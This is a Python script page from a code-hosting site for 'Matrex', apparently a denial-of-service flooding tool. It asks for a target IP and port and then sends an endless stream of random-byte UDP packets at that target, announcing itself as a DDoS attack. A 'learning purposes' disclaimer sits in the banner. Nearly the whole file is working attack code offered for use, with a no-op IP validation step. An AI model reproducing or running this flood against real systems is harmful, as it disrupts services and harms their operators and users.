-
Notifications
You must be signed in to change notification settings - Fork 0
/
Matrex.py
95 lines (90 loc) · 3.05 KB
/
Matrex.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#Lets import modules
import sys
import os
import time
import socket
import scapy.all as scapy
import random
import threading
from django.core.validators import URLValidator
from django.core.exceptions import ValidationError
validate = URLValidator()
#Lets start coding
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
#Lets define sock and bytes
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
os.system("clear")
#Banner :
print('''
************************************************
* __ __ _ _ *
* | \/ | __ _| |_ _ __ _____ ____| |____ *
* | |\/| |/ _` | __| '__/ _ \ \/ / _` |_ / *
* | | | | (_| | |_| | | __/> < (_| |/ / *
* |_| |_|\__,_|\__|_| \___/_/\_\__,_/___| *
* *
* HTTP Unbearable *
* Author: @Matrexdz *
* *
************************************************
************************************************
* *
* [!] Disclaimer : *
* 1. Don't Use For Personal Revenges *
* 2. Author Is Not Responsible For Your Jobs *
* 3. Use for learning purposes *
* 4. Does Matrex suit in villain role, huh? *
************************************************
''')
#Type your ip and port number (find IP address using nslookup or any online website)
ip = input(" [+] Give Matrex A Target IP : ")
port = eval(input(" [+] Starting Port NO : "))
os.system("clear")
print('''
************************************************
* __ __ _ _ *
* | \/ | __ _| |_ _ __ _____ ____| |____ *
* | |\/| |/ _` | __| '__/ _ \ \/ / _` |_ / *
* | | | | (_| | |_| | | __/> < (_| |/ / *
* |_| |_|\__,_|\__|_| \___/_/\_\__,_/___| *
* *
* HTTP Unbearable Matrex *
* Author: @Matrexdz *
* *
************************************************
''')
try:
validate = ip
print(" ✅ Valid IP Checked.... ")
print(" [+] Attack Screen Loading ....")
except ValidationError as exception :
print(" ✘ Input a right url")
#Lets start our attack
print(" ")
print(" That's my secret Cap, I am always angry ")
print(" " )
print(" [+] Matrex is attacking server " + ip )
print (" " )
time.sleep(5)
sent = 0
try :
while True:
sock.sendto(bytes, (ip, port))
sent = sent + 1
print("\n [+] Successfully sent %s packet to %s throught port:%s"%(sent,ip,port))
if port == 65534:
port = 1
except KeyboardInterrupt:
print(" ")
print("\n [-] Ctrl+C Detected.........Exiting")
print(" [-] DDOS ATTACK STOPPED")
input(" Enter To Exit")
os.system("clear")
print(" [-] Dr. Banner is tired...")